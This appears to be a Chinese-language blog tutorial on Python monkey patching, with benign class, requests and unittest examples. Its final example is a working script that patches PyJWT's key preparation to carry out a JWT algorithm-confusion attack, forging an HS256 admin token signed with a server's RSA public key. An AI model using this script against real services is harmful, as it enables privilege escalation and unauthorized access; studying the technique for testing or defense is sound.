Python Monkey Patching

619 字

3 分钟

Python Monkey Patching

2025-12-09

Python

什么是Monkey Patching？#

像Python、JavaScript、Lua等动态类型且大部分类在运行时开放的语言，我们就能在运行时动态更改某个类属性、方法，从而改变其行为，这就称为Monkey Patching。

Monkey Patching（猴子补丁）是一种在运行时动态修改类或模块的技术。这个术语来源于guerrilla patch（游击队补丁），后来演变成了monkey patching。它允许我们在不修改源代码的情况下，改变或扩展已有代码的行为。

为什么使用Monkey Patching？#

临时修复bug：当发现第三方库的bug但无法立即更新时
功能增强：为现有代码添加新功能
测试目的：在测试中替换某些方法的行为
性能优化：替换某些方法的实现以提高性能

基本示例#

Python#

在python中，一切皆为对象，且python没有严格意义上的私有变量，类开放，这样灵活的运行时环境使得python天生及其适合Monkey Patching，实际上，它也是最常使用Monkey Patching的语言之一。

1
# 原始类
2
class Dog:
3
    def bark(self):
4
        return "Woof!"
5

6
# 创建实例
7
dog = Dog()
8
print(dog.bark())  # 输出: Woof!
9

10
# Monkey Patching
11
def loud_bark(self):
12
    return "WOOF! WOOF!"
13

14
# 替换原始方法
15
Dog.bark = loud_bark
16

17
# 现在所有Dog实例都会使用新方法
18
print(dog.bark())  # 输出: WOOF! WOOF!

实际应用示例#

1. 修改第三方库的行为#

1
import requests
2

3
# 原始的requests.get方法
4
original_get = requests.get
5

6
def patched_get(*args, **kwargs):
7
    print("Making a request...")
8
    response = original_get(*args, **kwargs)
9
    print("Request completed!")
10
    return response
11

12
# 应用补丁
13
requests.get = patched_get
14

15
# 现在所有的requests.get调用都会打印额外信息
16
response = requests.get('https://api.example.com')

2. 测试中的Mock#

1
import unittest
2
from my_module import DatabaseConnection
3

4
class TestMyApp(unittest.TestCase):
5
    def setUp(self):
6
        # 保存原始方法
7
        self.original_connect = DatabaseConnection.connect
8

9
        # Mock连接方法
10
        def mock_connect(self):
11
            return "Mock connection established"
12

13
        DatabaseConnection.connect = mock_connect
14

15
    def tearDown(self):
16
        # 恢复原始方法
17
        DatabaseConnection.connect = self.original_connect
18

19
    def test_database_operations(self):
20
        db = DatabaseConnection()
21
        self.assertEqual(db.connect(), "Mock connection established")

3.允许高版本jwt使用公钥作为key#

~~其实这才是写这篇文章的主要原因，为醋包饺子的典范了~~

在处理json web token时，如果服务端配置不当，将RS256加密的jwt直接使用公钥HS256解密，我们获得公钥之后就能直接伪造jwt，从而得到高级权限

1
import jwt
2
import argparse
3

4
parser = argparse.ArgumentParser()
5
parser.add_argument("key")
6
args = parser.parse_args()
7

8
# 使用Monkey Patching绕过高版本的jwt将公钥作为key时的报错
9
jwt.algorithms.HMACAlgorithm.prepare_key = lambda self, key: jwt.utils.force_bytes(key) #type: ignore
10

11
token = jwt.encode(
12
    payload={
13
        "username": "qwer123",
14
        "password": "e10adc3949ba59abbe56e057f20f883e",
15
        "is_admin": True
16
    },
17
    key = open(args.key, 'rb').read(),
18
    algorithm='HS256'
19
)
20

21
print(token)